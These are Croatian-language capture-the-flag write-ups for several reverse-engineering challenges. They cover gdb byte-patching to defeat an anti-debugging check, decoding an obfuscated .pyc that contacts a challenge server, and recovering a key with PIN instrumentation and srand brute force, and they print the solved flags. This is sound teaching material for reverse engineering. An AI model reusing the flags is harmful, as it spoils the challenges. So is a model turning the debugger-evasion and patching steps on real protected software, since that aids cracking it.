void torr(undefined8 param_1) { ... local_20 = *(long *)(in_FS_OFFSET + 0x28); local_238[0] = 0; local_238[1] = 0; local_238[2] = 0; local_238[3] = 0; local_128[0] = 0; local_128[1] = 0; local_128[2] = 0; local_128[3] = 0; local_128[4] = 0; local_128[5] = 0; local_128[6] = 0; local_128[7] = 0; local_128[8] = 0; local_128[9] = 0; local_128[10] = 0; local_128[0xb] = 0; local_128[0xc] = 0; local_128[0xd] = 0; local_128[0xe] = 0; local_128[0xf] = 0; local_128[0x10] = 0; local_128[0x11] = 0; local_128[0x12] = 0; local_128[0x13] = 0; local_128[0x14] = 0; local_128[0x15] = 0; local_128[0x16] = 0; local_128[0x17] = 0; local_128[0x18] = 0; local_128[0x19] = 0; local_128[0x1a] = 0; local_128[0x1b] = 0; local_128[0x1c] = 0; local_128[0x1d] = 0; local_128[0x1e] = 0; local_128[0x1f] = 0; ... syscall(); _DAT_00000009 = local_128[0]; _DAT_00000011 = local_128[1]; _DAT_00000019 = local_128[2]; _DAT_00000021 = local_128[3]; _DAT_00000029 = local_128[4]; _DAT_00000031 = local_128[5]; _DAT_00000039 = local_128[6]; _DAT_00000041 = local_128[7]; _DAT_00000049 = local_128[8]; _DAT_00000051 = local_128[9]; _DAT_00000059 = local_128[10]; _DAT_00000061 = local_128[0xb]; _DAT_00000069 = local_128[0xc]; _DAT_00000071 = local_128[0xd]; _DAT_00000079 = local_128[0xe]; _DAT_00000081 = local_128[0xf]; _DAT_00000089 = local_128[0x10]; _DAT_00000091 = local_128[0x11]; _DAT_00000099 = local_128[0x12]; _DAT_000000a1 = local_128[0x13]; _DAT_000000a9 = local_128[0x14]; _DAT_000000b1 = local_128[0x15]; _DAT_000000b9 = local_128[0x16]; _DAT_000000c1 = local_128[0x17]; _DAT_000000c9 = local_128[0x18]; _DAT_000000d1 = local_128[0x19]; _DAT_000000d9 = local_128[0x1a]; _DAT_000000e1 = local_128[0x1b]; _DAT_000000e9 = local_128[0x1c]; _DAT_000000f1 = local_128[0x1d]; _DAT_000000f9 = local_128[0x1e]; _DAT_00000101 = local_128[0x1f]; iVar2 = (*(code *)&DAT_00000009)(param_1,0x100,9,local_128[0x1e],0xffffffffffffffff,0); memset(&DAT_00000009,0,0x100); memset(local_128,0,0x100); puts("\n[!] consensus reached."); if (iVar2 == 1) { puts("[+] ACCESS GRANTED. Flag verified."); } else { puts("[-] ACCESS DENIED. Validation failed."); } if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) { return; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); }
Ranjivost i ideja napada
Program ispisuje ACCESS GRANTED ako varijabla iVar2 ima vrijednost 1 u trenutku provjere.
Vrijednost varijable iVar2 ovisi o pozivu koda na stogu na adresi rbp-0x120, vidljivo u liniji:
iVar2 = (*(code *)&DAT_00000009)(param_1,0x100,9,local_128[0x1e],0xffffffffffffffff,0);
S obzirom na to da je kod dinamički generiran, potrebno je koristiti debugger te ga analizirati nakon generiranja.
Kako bi to bilo moguće, preduvjet je zaobići anti-debugging provjere funkcije dbgd te povećati
vrijeme alarma.
Unutar dbgd funkcije:
iVar1 = strncmp(local_118,"TracerPid:",10); } while (iVar1 != 0); iVar1 = atoi(acStack_10e); fclose(__stream); bVar3 = iVar1 != 0; } ... return bVar3;
Vrijednost TracerPid mora biti jednaka nuli, što je pokazatelj da program nije debuggiran, odnosno vrijednost bVar3 mora biti nula.
Rješenje koristi tehniku binary patching tijekom debugging sesije. Unutar gdb skripte, na početku programa se mijenjaju bajtovi programa.
Na adresi poziva alarm funkcije nalaze se bajtovi:
00402735 bf 0a 00 MOV EDI,0xa 00 00
Umjesto 0x0a, postavlja se bajt 0xff.
Na početku funkcije dbgd, umjesto:
004019b4 f3 0f 1e fa ENDBR64
postavljaju se instrukcije:
mov eax, 0x0; ret;
Potrebni bajtovi za navedene instrukcije mogu se dobiti pwntools modulom.
Gdb skripta:
set follow-fork-mode child b main commands silent python alarm = 0x0402736 gdb.execute(f"set *(char*) {alarm}=255") dbgd = 0x4019b8 patch = b'\xb8\x00\x00\x00\x00\xc3' for i,b in enumerate(patch): gdb.execute(f"set *(char*) ({dbgd+i}) = {b}") end c end b *0x00402656 commands silent x/48i $rbp-0x120 c end r CTF2026[111111111111]
Nakon pokretanja skripte par puta dobije se:
............................................................+++++[Switching to process 4414] 0x7fffffffddc0: endbr64 0x7fffffffddc4: xor eax,eax 0x7fffffffddc6: cmp BYTE PTR [rdi],0x43 0x7fffffffddc9: jne 0x7fffffffde50 0x7fffffffddcf: cmp BYTE PTR [rdi+0x1],0x54 0x7fffffffddd3: jne 0x7fffffffde50 0x7fffffffddd5: cmp BYTE PTR [rdi+0x2],0x46 0x7fffffffddd9: jne 0x7fffffffde50 0x7fffffffdddb: cmp BYTE PTR [rdi+0x3],0x32 0x7fffffffdddf: jne 0x7fffffffde50 0x7fffffffdde1: cmp BYTE PTR [rdi+0x4],0x30 0x7fffffffdde5: jne 0x7fffffffde50 0x7fffffffdde7: cmp BYTE PTR [rdi+0x5],0x32 0x7fffffffddeb: jne 0x7fffffffde50 0x7fffffffdded: cmp BYTE PTR [rdi+0x6],0x36 0x7fffffffddf1: jne 0x7fffffffde50 0x7fffffffddf3: cmp BYTE PTR [rdi+0x7],0x5b 0x7fffffffddf7: jne 0x7fffffffde50 0x7fffffffddf9: cmp BYTE PTR [rdi+0x8],0x35 0x7fffffffddfd: jne 0x7fffffffde50 0x7fffffffddff: cmp BYTE PTR [rdi+0x9],0x35 0x7fffffffde03: jne 0x7fffffffde50 0x7fffffffde05: cmp BYTE PTR [rdi+0xa],0x30 0x7fffffffde09: jne 0x7fffffffde50 0x7fffffffde0b: cmp BYTE PTR [rdi+0xb],0x39 0x7fffffffde0f: jne 0x7fffffffde50 0x7fffffffde11: cmp BYTE PTR [rdi+0xc],0x34 0x7fffffffde15: jne 0x7fffffffde50 0x7fffffffde17: cmp BYTE PTR [rdi+0xd],0x34 0x7fffffffde1b: jne 0x7fffffffde50 0x7fffffffde1d: cmp BYTE PTR [rdi+0xe],0x32 0x7fffffffde21: jne 0x7fffffffde50 0x7fffffffde23: cmp BYTE PTR [rdi+0xf],0x34 0x7fffffffde27: jne 0x7fffffffde50 0x7fffffffde29: cmp BYTE PTR [rdi+0x10],0x31 0x7fffffffde2d: jne 0x7fffffffde50 0x7fffffffde2f: cmp BYTE PTR [rdi+0x11],0x36 0x7fffffffde33: jne 0x7fffffffde50 0x7fffffffde35: cmp BYTE PTR [rdi+0x12],0x36 0x7fffffffde39: jne 0x7fffffffde50 0x7fffffffde3b: cmp BYTE PTR [rdi+0x13],0x30 0x7fffffffde3f: jne 0x7fffffffde50 0x7fffffffde41: cmp BYTE PTR [rdi+0x14],0x5d 0x7fffffffde45: jne 0x7fffffffde50 0x7fffffffde47: xor eax,eax 0x7fffffffde49: cmp BYTE PTR [rdi+0x15],0x0 0x7fffffffde4d: sete al 0x7fffffffde50: ret
Kod je uspješno generiran i prikazan. Uspoređuje bajtove naredbenog argumenta s hardkodiranim bajtovima koji su ujedno bajtovi zastavice.
Rješenje
set follow-fork-mode child b main commands silent python alarm = 0x0402736 gdb.execute(f"set *(char*) {alarm}=255") dbgd = 0x4019b8 patch = b'\xb8\x00\x00\x00\x00\xc3' for i,b in enumerate(patch): gdb.execute(f"set *(char*) ({dbgd+i}) = {b}") end c end b *0x00402656 commands silent x/48i $rbp-0x120 c end r CTF2026[111111111111]
PYC Reversing
Dana je .pyc datoteka. Sumnja se da je obfuscirana. Možeš li saznati što radi?
Kontekst zadatka
Dana je .pyc datoteka. Pokretanjem ispisuje se:
Pokretanje... Nepostojeći unos, izlazak iz programa...
Dekompilacijom datoteke dobije se kod:
print(''.join([chr(c) for c in (80, 111, 107, 114, 101, 116, 97, 110, 106, 101, 46, 46, 46)])) _VrpoiVgR = ''.join([chr(c) for c in (108, 111, 122, 105, 110, 107, 97, 49, 50, 51)]) import os try: _fygw2wMq = {93: 68} _BcbfnoGMbJmT = os.read(20, 21) _AoCLrZ3aWZkS = ''.join([chr(b ^ 88) for b in (59, 48, 57, 52, 118, 48, 57, 59, 51, 54, 49, 44, 61, 118, 48, 42)]) _cQoXsf2o = 887 if 48 == 136: pass except Exception as _wnQrS7RPeM: pass except: if Exception: _wnQrS7RPeM = None _wnQrS7RPeM = None del _wnQrS7RPeM, _wnQrS7RPeM _wnQrS7RPeM = None print(''.join([chr(b ^ 40) for b in (102, 77, 88, 71, 91, 92, 71, 66, 77, 303, 65, 8, 93, 70, 71, 91, 4, 8, 65, 82, 68, 73, 82, 73, 67, 8, 65, 82, 8, 88, 90, 71, 79, 90, 73, 69, 73, 6, 6, 6)])) exit() len('yrOSJoRuXXdocZuzr') _eInGqi7w = 902 _n68K4Tun = 159865332597048718801071185888472247278750295198451 for _kC1ITtNZPH in range(0): pass _VrpoiVgR = _BcbfnoGMbJmT _84iqh4gV = lambda x: x + 1 if 56 == 171: pass import socket def _z46PDjqipVJ(_AoCLrZ3aWZkS, _n68K4Tun): assert 4 < 1000000000 with open('/dev/null', 'w') as _zxoiGFfWd3hj: pass return _AoCLrZ3aWZkS, int.from_bytes(_BcbfnoGMbJmT) ^ _n68K4Tun if _VrpoiVgR == ''.join([chr(b ^ 197) for b in (168, 167, 164, 180, 245, 161, 161, 246, 173, 164, 247, 173, 167, 189, 246, 173, 174, 161, 252, 177, 240)]).encode(): _TtzQPxC5H = lambda x: x + 1 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as _hsBkDa9U4U: _7x41Ztpd = [x * 2 for x in (9, 1, 1)] assert 3 < 1000000000 _hsBkDa9U4U.connect(_z46PDjqipVJ(_AoCLrZ3aWZkS, _n68K4Tun)) _GWlG6g3Ot1 = ''.join([chr(c) for c in (71, 105, 118, 101, 32, 109, 101, 32, 116, 104, 101, 32, 102, 108, 97, 103)]) _xWkI9X7H6 = _GWlG6g3Ot1.encode() _hsBkDa9U4U.sendall(_xWkI9X7H6) print(''.join([chr(c) for c in (73, 122, 108, 97, 122, 97, 107, 46, 46, 46)])) while 0 == 68: pass _eInGqi7w = 902 _n68K4Tun = 159865332597048718801071185888472247278750295198451 for _kC1ITtNZPH in range(0): pass _VrpoiVgR = _BcbfnoGMbJmT _84iqh4gV = lambda x: x + 1 if 56 == 171: pass import socket def _z46PDjqipVJ(_AoCLrZ3aWZkS, _n68K4Tun): assert 4 < 1000000000 with open('/dev/null', 'w') as _zxoiGFfWd3hj: pass return _AoCLrZ3aWZkS, int.from_bytes(_BcbfnoGMbJmT) ^ _n68K4Tun if _VrpoiVgR == ''.join([chr(b ^ 197) for b in (168, 167, 164, 180, 245, 161, 161, 246, 173, 164, 247, 173, 167, 189, 246, 173, 174, 161, 252, 177, 240)]).encode(): _TtzQPxC5H = lambda x: x + 1 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as _hsBkDa9U4U: _7x41Ztpd = [x * 2 for x in (9, 1, 1)] assert 3 < 1000000000 _hsBkDa9U4U.connect(_z46PDjqipVJ(_AoCLrZ3aWZkS, _n68K4Tun)) _GWlG6g3Ot1 = ''.join([chr(c) for c in (71, 105, 118, 101, 32, 109, 101, 32, 116, 104, 101, 32, 102, 108, 97, 103)]) _xWkI9X7H6 = _GWlG6g3Ot1.encode() _hsBkDa9U4U.sendall(_xWkI9X7H6) print(''.join([chr(c) for c in (73, 122, 108, 97, 122, 97, 107, 46, 46, 46)])) while 0 == 68: pass for _bLJoLoaeTO in range(0): pass else: for _3veGprQF in range(0): pass len('pYEZAmggQBwBADUdRP') print(''.join([chr(b ^ 247) for b in (185, 146, 158, 132, 135, 133, 150, 129, 150, 153, 215, 130, 153, 152, 132, 219, 215, 158, 141, 155, 150, 141, 150, 156, 215, 158, 141, 215, 135, 133, 152, 144, 133, 150, 154, 150, 217, 217, 217)])) _Z3gpmmICiB = 93334402602 _kAFEn3z5d = {48: 33, 0: 100} _ddLEG62Hkd = 1425195 _zh84KpLMc = 634 exit() with open('/dev/null', 'w') as _KHu7qnQTupqz: pass while 0 == 37: pass # WARNING: Decompyle incomplete
Ranjivost i ideja napada
Program je obfusciran.
Ključan dio koda:
if _VrpoiVgR == ''.join([chr(b ^ 197) for b in (168, 167, 164, 180, 245, 161, 161, 246, 173, 164, 247, 173, 167, 189, 246, 173, 174, 161, 252, 177, 240)]).encode(): _TtzQPxC5H = lambda x: x + 1 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as _hsBkDa9U4U: _7x41Ztpd = [x * 2 for x in (9, 1, 1)] assert 3 < 1000000000 _hsBkDa9U4U.connect(_z46PDjqipVJ(_AoCLrZ3aWZkS, _n68K4Tun)) _GWlG6g3Ot1 = ''.join([chr(c) for c in (71, 105, 118, 101, 32, 109, 101, 32, 116, 104, 101, 32, 102, 108, 97, 103)]) _xWkI9X7H6 = _GWlG6g3Ot1.encode() _hsBkDa9U4U.sendall(_xWkI9X7H6)
Vidljivo je da se program povezuje na socket. U granu se ulazi ako je varijabla _VrpoiVgR jednaka određenom nizu bajtova.
Njoj se prosljeđuje varijabla:
_VrpoiVgR = _BcbfnoGMbJmT
Pritom prije toga _BcbfnoGMbJmT prima unos u liniji:
_BcbfnoGMbJmT = os.read(20, 21)
U python interpreteru:
>>> a = ''.join([chr(b ^ 197) for b in (168, 167, 164, 180, 245, 161, 161, 246, 173, 164, 247, 173, 167, 189, 246, 173, 174, 161, 252, 177, 240)]).encode() >>> a b'mbaq0dd3ha2hbx3hkd9t5'
Dakle, ako se u file descriptor 20 upiše niz “mbaq0dd3ha2hbx3hkd9t5”, funkcija će se povezati na socket.
Pregledom s pomoću strace naredbe, dobije se konekcija i sadržaj sendto funkcije
strace -e connect,sendto python3 challenge.cpython-311.pyc 20< <(echo "mbaq0dd3ha2hbx3hkd9t5") strace: Exit of unknown pid 9305 ignored Pokretanje... connect(4, {sa_family=AF_UNIX, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory) connect(4, {sa_family=AF_UNIX, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory) connect(3, {sa_family=AF_INET, sin_port=htons(32454), sin_addr=inet_addr("127.0.0.1")}, 16) = 0 sendto(3, "Give me the flag", 16, 0, NULL, 0) = 16 Izlazak... +++ exited with 0 +++
Napomena: adresa 127.0.0.1 je upisana umjesto prave adrese zadatka.
Sadržaj sendto je “Give me the flag”. Ako se netcatom poveže na poslužitelj i pošalje navedeni string dobije se b64 enkodirani string.
Dekodiranjem stringa dobije se HTML stranica.
Rješenje
Otvoriti HTML stranicu na kojoj se ispiše flag.
Rev Zagrijavanje
Zagrijte se za rev zadatke.
Kontekst zadatka
Otvaranjem zadatka u Ghidri analizira se glavna funkcija:
undefined8 FUN_00401830(void) { int iVar1; undefined8 uVar2; long in_FS_OFFSET; char cStack_98; char cStack_97; char cStack_96; char cStack_95; char cStack_94; char cStack_93; char cStack_92; char cStack_91; char cStack_90; char cStack_8f; char cStack_8e; char cStack_8d; char cStack_8c; char cStack_8b; char cStack_8a; char cStack_89; char cStack_88; char cStack_87; char cStack_86; char cStack_85; char cStack_84; char cStack_83; long lStack_10; lStack_10 = *(long *)(in_FS_OFFSET + 0x28); FUN_00427750(2,&DAT_0049e02c); FUN_0040df10(DAT_004ca6d0); iVar1 = FUN_00404f10(&DAT_0049e041,&cStack_98); if ((((((iVar1 == 1) && (cStack_83 == '\0')) && (cStack_98 == 'C')) && (((cStack_97 == 'T' && (cStack_96 == 'F')) && ((cStack_95 == '2' && ((cStack_94 == '0' && (cStack_93 == '2')))))))) && ((cStack_92 == '6' && ((((((cStack_91 == '[' && (cStack_90 == '3')) && (cStack_8f == '3')) && ((cStack_8e == '6' && (cStack_8d == '4')))) && ((cStack_8c == '2' && ((cStack_8b == '3' && (cStack_8a == '7')))))) && (cStack_89 == '0'))) ))) && ((((cStack_88 == '1' && (cStack_87 == '7')) && (cStack_86 == '0')) && ((cStack_85 == '3' && (cStack_84 == ']')))))) { FUN_0040e070(&DAT_0049e057); uVar2 = 0; } else { FUN_0040e070(&DAT_0049e047); uVar2 = 1; } if (lStack_10 == *(long *)(in_FS_OFFSET + 0x28)) { return uVar2; } /* WARNING: Subroutine does not return */ FUN_00427820(); }
Ranjivost i ideja napada
Bajtovi unosa se uspoređuju s bajtovima zastavice.
Rješenje
Iščitati zastavicu iz instrukcija.
Secret key
Alatom PIN je analiziran tok programa s traženim tajnim ključem. Možeš li saznati znamenke ključa?
Kontekst zadatka
Dana je tekstualna datoteka sa sadržajem analize:
Unesi ključ: REDACTED #samo znamenke Tajni ključ: 1440919487 Analiza izvođenja funkcije "cypher" s unesenim ključem: Broj izvršenih add instrukcija: 213 Broj izvršenih sub instrukcija: 59 Broj izvršenih or instrukcija: 1 Broj izvršenih idiv instrukcija: 7
Analizom binarne datoteke u Ghidri dobije se glavna funkcija:
undefined8 main(void) { undefined1 auStack_19 [13]; undefined4 uStack_c; printf(&UNK_0047a004); fgets(auStack_19,0xd,stdin); uStack_c = cypher(auStack_19); printf(&UNK_0047a013,uStack_c); return 0; }
Primjer pokretanja programa:
./a.out Unesi ključ: 123123123123 Tajni ključ: 3123768157
Program traži unos ključa, nakon čega se generira tajni ključ. U datoteci je dan broj izvršenih instrukcija poput add sub or i idiv.
Potrebno je iz generiranog tajnog ključa otkriti koji ključ je korišten kako bi se došlo do zastavice.
Ranjivost i ideja napada
Analizom funkcije cypher dobije se:
int cypher(char *param_1) { uint uVar1; int iVar2; int iVar3; int local_14; byte local_d; uint local_c; local_c = 0; for (local_14 = 0; local_14 < (int)(uint)(byte)(*param_1 - param_1[1]); local_14 = local_14 + 1) { local_c = local_c + param_1[1] * local_14; local_c = local_c * 0x10 | local_c >> 0x1c; } local_d = param_1[3] ^ param_1[2]; while (local_d != 0) { local_d = local_d - 1; uVar1 = (local_c | local_d) + (int)param_1[2]; local_c = uVar1 * 8 | uVar1 >> 0x1d; } for (local_d = param_1[4] * param_1[5]; local_d != '\0'; local_d = local_d - param_1[4]) { local_c = (local_c + (int)param_1[4]) * 0x80 | local_c + (int)param_1[4] >> 0x19; } for (local_d = 100; local_d != 0; local_d = (byte)((long)(ulong)local_d / (long)(param_1[6] + -0x2e))) { local_c = (local_c + (int)param_1[7]) * 0x800 | local_c + (int)param_1[7] >> 0x15; } srandom(*(uint *)(param_1 + 8)); iVar2 = rand(); srandom(local_c); iVar3 = rand(); return iVar2 + iVar3; }
Specifično, bitan je odsječak:
srandom(*(uint *)(param_1 + 8)); iVar2 = rand(); srandom(local_c); iVar3 = rand(); return iVar2 + iVar3;
Prvi seed za srandom su zadnje četiri znamenke ključa. Drugi seed je rezultat različitih operacija nad prvih osam bajtova ključa.
S obzirom na to da dani brojevi izvršenih instrukcija u PIN analizi, potreban je disassembly koda:
[0x00401530]> s sym.cypher [0x00401655]> pdf ; CALL XREF from main @ 0x4017fe(x) ┌ 366: sym.cypher (char *arg1); │ `- args(rdi) vars(5:sp[0xc..0x20]) │ 0x00401655 55 push rbp │ 0x00401656 4889e5 mov rbp, rsp │ 0x00401659 4883ec20 sub rsp, 0x20 │ 0x0040165d 48897de8 mov qword [seed], rdi ; arg1 │ 0x00401661 c745fc0000.. mov dword [var_4h], 0 │ 0x00401668 488b45e8 mov rax, qword [seed] │ 0x0040166c 0fb600 movzx eax, byte [rax] │ 0x0040166f 89c2 mov edx, eax │ 0x00401671 488b45e8 mov rax, qword [seed] │ 0x00401675 4883c001 add rax, 1 │ 0x00401679 0fb600 movzx eax, byte [rax] │ 0x0040167c 89c1 mov ecx, eax │ 0x0040167e 89d0 mov eax, edx │ 0x00401680 29c8 sub eax, ecx │ 0x00401682 8845fb mov byte [var_5h], al │ 0x00401685 c745f40000.. mov dword [var_ch], 0 │ ┌─< 0x0040168c eb1d jmp 0x4016ab │ │ ; CODE XREF from sym.cypher @ 0x4016b2(x) │ ┌──> 0x0040168e 488b45e8 mov rax, qword [seed] │ ╎│ 0x00401692 4883c001 add rax, 1 │ ╎│ 0x00401696 0fb600 movzx eax, byte [rax] │ ╎│ 0x00401699 0fbec0 movsx eax, al │ ╎│ 0x0040169c 0faf45f4 imul eax, dword [var_ch] │ ╎│ 0x004016a0 0145fc add dword [var_4h], eax │ ╎│ 0x004016a3 c145fc04 rol dword [var_4h], 4 │ ╎│ 0x004016a7 8345f401 add dword [var_ch], 1 │ ╎│ ; CODE XREF from sym.cypher @ 0x40168c(x) │ ╎└─> 0x004016ab 0fb645fb movzx eax, byte [var_5h] │ ╎ 0x004016af 3945f4 cmp dword [var_ch], eax │ └──< 0x004016b2 7cda jl 0x40168e │ 0x004016b4 488b45e8 mov rax, qword [seed] │ 0x004016b8 4883c002 add rax, 2 │ 0x004016bc 0fb610 movzx edx, byte [rax] │ 0x004016bf 488b45e8 mov rax, qword [seed] │ 0x004016c3 4883c003 add rax, 3 │ 0x004016c7 0fb600 movzx eax, byte [rax] │ 0x004016ca 31d0 xor eax, edx │ 0x004016cc 8845fb mov byte [var_5h], al │ ┌─< 0x004016cf eb2a jmp 0x4016fb │ │ ; CODE XREF from sym.cypher @ 0x4016ff(x) │ ┌──> 0x004016d1 0fb645fb movzx eax, byte [var_5h] │ ╎│ 0x004016d5 83e801 sub eax, 1 │ ╎│ 0x004016d8 8845fb mov byte [var_5h], al │ ╎│ 0x004016db 0fb645fb movzx eax, byte [var_5h] │ ╎│ 0x004016df 0945fc or dword [var_4h], eax │ ╎│ 0x004016e2 488b45e8 mov rax, qword [seed] │ ╎│ 0x004016e6 4883c002 add rax, 2 │ ╎│ 0x004016ea 0fb600 movzx eax, byte [rax] │ ╎│ 0x004016ed 0fbed0 movsx edx, al │ ╎│ 0x004016f0 8b45fc mov eax, dword [var_4h] │ ╎│ 0x004016f3 01d0 add eax, edx │ ╎│ 0x004016f5 c1c003 rol eax, 3 │ ╎│ 0x004016f8 8945fc mov dword [var_4h], eax │ ╎│ ; CODE XREF from sym.cypher @ 0x4016cf(x) │ ╎└─> 0x004016fb 807dfb00 cmp byte [var_5h], 0 │ └──< 0x004016ff 75d0 jne 0x4016d1 │ 0x00401701 488b45e8 mov rax, qword [seed] │ 0x00401705 4883c004 add rax, 4 │ 0x00401709 0fb600 movzx eax, byte [rax] │ 0x0040170c 89c1 mov ecx, eax │ 0x0040170e 488b45e8 mov rax, qword [seed] │ 0x00401712 4883c005 add rax, 5 │ 0x00401716 0fb600 movzx eax, byte [rax] │ 0x00401719 89c2 mov edx, eax │ 0x0040171b 89c8 mov eax, ecx │ 0x0040171d 0fafc2 imul eax, edx │ 0x00401720 8845fb mov byte [var_5h], al │ ┌─< 0x00401723 eb27 jmp 0x40174c │ │ ; CODE XREF from sym.cypher @ 0x401750(x) │ ┌──> 0x00401725 488b45e8 mov rax, qword [seed] │ ╎│ 0x00401729 4883c004 add rax, 4 │ ╎│ 0x0040172d 0fb600 movzx eax, byte [rax] │ ╎│ 0x00401730 2845fb sub byte [var_5h], al │ ╎│ 0x00401733 488b45e8 mov rax, qword [seed] │ ╎│ 0x00401737 4883c004 add rax, 4 │ ╎│ 0x0040173b 0fb600 movzx eax, byte [rax] │ ╎│ 0x0040173e 0fbed0 movsx edx, al │ ╎│ 0x00401741 8b45fc mov eax, dword [var_4h] │ ╎│ 0x00401744 01d0 add eax, edx │ ╎│ 0x00401746 c1c007 rol eax, 7 │ ╎│ 0x00401749 8945fc mov dword [var_4h], eax │ ╎│ ; CODE XREF from sym.cypher @ 0x401723(x) │ ╎└─> 0x0040174c 807dfb00 cmp byte [var_5h], 0 │ └──< 0x00401750 75d3 jne 0x401725 │ 0x00401752 c645fb64 mov byte [var_5h], 0x64 ; 'd' │ ┌─< 0x00401756 eb34 jmp 0x40178c │ │ ; CODE XREF from sym.cypher @ 0x401790(x) │ ┌──> 0x00401758 0fb645fb movzx eax, byte [var_5h] │ ╎│ 0x0040175c 488b55e8 mov rdx, qword [seed] │ ╎│ 0x00401760 4883c206 add rdx, 6 │ ╎│ 0x00401764 0fb612 movzx edx, byte [rdx] │ ╎│ 0x00401767 0fbed2 movsx edx, dl │ ╎│ 0x0040176a 8d72d2 lea esi, [rdx - 0x2e] │ ╎│ 0x0040176d 99 cdq │ ╎│ 0x0040176e f7fe idiv esi │ ╎│ 0x00401770 8845fb mov byte [var_5h], al │ ╎│ 0x00401773 488b45e8 mov rax, qword [seed] │ ╎│ 0x00401777 4883c007 add rax, 7 │ ╎│ 0x0040177b 0fb600 movzx eax, byte [rax] │ ╎│ 0x0040177e 0fbed0 movsx edx, al │ ╎│ 0x00401781 8b45fc mov eax, dword [var_4h] │ ╎│ 0x00401784 01d0 add eax, edx │ ╎│ 0x00401786 c1c00b rol eax, 0xb │ ╎│ 0x00401789 8945fc mov dword [var_4h], eax │ ╎│ ; CODE XREF from sym.cypher @ 0x401756(x) │ ╎└─> 0x0040178c 807dfb00 cmp byte [var_5h], 0 │ └──< 0x00401790 75c6 jne 0x401758 │ 0x00401792 488b45e8 mov rax, qword [seed] │ 0x00401796 4883c008 add rax, 8 │ 0x0040179a 8b00 mov eax, dword [rax] │ 0x0040179c 89c7 mov edi, eax ; uint32_t seed │ 0x0040179e e84d820000 call sym.__srandom ; uint32_t srandom(uint32_t seed) │ 0x004017a3 e838820000 call sym.rand ; int rand(void) │ 0x004017a8 8945f0 mov dword [var_10h], eax │ 0x004017ab 8b45fc mov eax, dword [var_4h] │ 0x004017ae 89c7 mov edi, eax ; uint32_t seed │ 0x004017b0 e83b820000 call sym.__srandom ; uint32_t srandom(uint32_t seed) │ 0x004017b5 e826820000 call sym.rand ; int rand(void) │ 0x004017ba 89c2 mov edx, eax │ 0x004017bc 8b45f0 mov eax, dword [var_10h] │ 0x004017bf 01d0 add eax, edx │ 0x004017c1 c9 leave └ 0x004017c2 c3 ret
Vidljivo je da se pojavljuju četiri petlje. Petlje ovise o vrijednostima zastavice te svaka petlja utječe na varijablu local_c.
Na primjer, u drugoj petlji:
local_d = param_1[3] ^ param_1[2]; while (local_d != 0) { local_d = local_d - 1; uVar1 = (local_c | local_d) + (int)param_1[2]; local_c = uVar1 * 8 | uVar1 >> 0x1d; }
vrijednost local_d sadrži rezultat XOR operacije trećeg i četvrtog bajta ključa. S obzirom na to da se jedino u toj petlji pojavljuje
instrukcija or koja je izvršena samo jednom (u ispisu PIN analize), može se zaključiti da je rezultat XOR operacija nad trećim
i četvrtim bajtom 1.
Na sličan način, dođe se do ostalih zaključaka:
key[2]^key[3] = 1 key[5] = 56 = "8" idiv: 7 -> 100/(x**7) < 1 i 100/(x**6) > 1 -> key[6] - 0x2e = 2 -> key[6] = "0" key[0] - key[1] = 5
Dobiveni su odnosi bajtova te čak otkrivene konkretne vrijednosti ključa. Time se znatno smanjio prostor za bruteforce napad.
Kako bi se otkrio ključ, potrebno je:
1. Dobiti sve kandidate za srand() i rand() prvih 8 bajtova. 2. Bruteforce napad nad srand() i rand() zadnja 4 bajta i pregled daje li zbroj tajni ključ.
Rješenje
Za dobivanje kandidata u rješenju se koristi PIN:
#include <stdio.h> #include "pin.H" struct candidate{ unsigned char key[9] = {0}; unsigned int result; }; struct candidate c; VOID get_key(ADDRINT rdiValue){ memcpy(&c.key, (char*) rdiValue, 8); } VOID get_result(ADDRINT eaxValue){ c.result = eaxValue; } VOID instrument(INS ins, VOID* v){ ADDRINT addr = INS_Address(ins); if (addr == 0x00401655){ INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)get_key, IARG_REG_VALUE, LEVEL_BASE::REG_RDI, IARG_END); } else if (addr == 0x004017ba){ INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)get_result, IARG_REG_VALUE, REG_EAX, IARG_END); } } VOID fini(INT32 code, VOID* v){ printf("%s %u\n", c.key, c.result); } int main(int argc, char** argv){ PIN_Init(argc, argv); INS_AddInstrumentFunction(instrument, 0); PIN_AddFiniFunction(fini, 0); PIN_StartProgram(); return 0; }
Bruteforce zadnjih četiri znamenki:
#include <stdio.h> #include <stdlib.h> int main(){ for(char key_8 = 48; key_8 < 58; key_8++){ for(char key_9 = 48; key_9 < 58; key_9++){ for(char key_10 = 48; key_10 < 58; key_10++){ for(char key_11 = 48; key_11 < 58; key_11++){ char buf[5] = {key_8, key_9, key_10, key_11, 0}; srand(*(unsigned int*) &buf); unsigned int result = rand(); printf("%s %u\n", &buf, result); }}}} return 0; }
Python skripta:
from pwn import * import os if not os.path.isfile("./candidates.txt"): candidates = [] pin = "/home/hacknite/pin-external-4.4-99977-g54fbb8814-gcc-linux/pin" pintool = "/home/hacknite/pin-external-4.4-99977-g54fbb8814-gcc-linux/source/tools/hacknite_rev/obj-intel64/rand_candidates.so" i = 0 for key_1 in range(48, 48 + 5): key_0 = key_1 + 5 for key_2 in range(48, 58): key_3 = key_2 ^ 1 for key_4 in range(48, 58): for key_7 in range(48, 58): key = bytearray(b"000008000000") key[0] = key_0 key[1] = key_1 key[2] = key_2 key[3] = key_3 key[4] = key_4 key[7] = key_7 p = process([pin, "-t", pintool, "--", "./a.out"]) p.sendline(key) p.recvline() flag_cand, result = p.recvline()[:-1].split(b" ") result = int(result) candidates.append((flag_cand, result)) p.kill() print(i) i = i + 1 with open("candidates.txt", "w") as f: for v in candidates: flag_cand, result = v l = flag_cand.decode() + " " + str(result) + "\n" f.write(l) target = 1440919487 candidates = [] with open("candidates.txt", "r") as f: lines = f.readlines() for l in lines: cand, result = l.split(" ") result = int(result) candidates.append((cand, result)) p = process("./bruteforce.out") brute = p.recvall().decode() brute = brute.split("\n")[:-1] for v in brute: cand2, result2 = v.split(" ") result2 = int(result2) for c in candidates: cand, result = c if (result + result2) == target: print(f"CTF2026[{cand+cand2}]") exit()
